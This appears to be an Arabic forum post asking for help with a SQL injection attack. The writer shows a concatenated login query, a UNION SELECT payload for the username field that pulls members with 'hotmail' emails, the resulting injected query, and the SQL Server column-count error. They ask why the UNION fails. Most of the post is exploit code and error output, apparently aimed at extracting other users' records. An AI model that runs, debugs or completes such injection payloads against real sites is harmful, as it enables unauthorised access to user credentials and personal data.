الاستعلام يتم بالشكل
"select username,password from members where username='"& username & "' and password='"& password & "'"
ثم ناتي الى المرحلة الجميلة
الـ username=
' union select * from members where Email like '%hotmail%';--
وبالتالي يصبح الاستعلام
select username,password from members where username='' union select * from members where Email like '%hotmail%';-- and password=''
لكن هذا الخطأ يظهر:
Microsoft OLE DB Provider for ODBC Drivers error '80040e14' [Microsoft][ODBC SQL Server Driver][SQL Server]All queries combined using a UNION, INTERSECT or EXCEPT operator must have an equal number of expressions in their target lists
فما السبب, علما اني قمت بتحديد اسماء جميع الاعمدة بدلاً من * في SELECT
وحتى بحثت فيما اذا كان هناك استخدام مختلف او مشاكل لـ like في UNION SELECT ولم اجد اي شئ!
شكرا سلفا
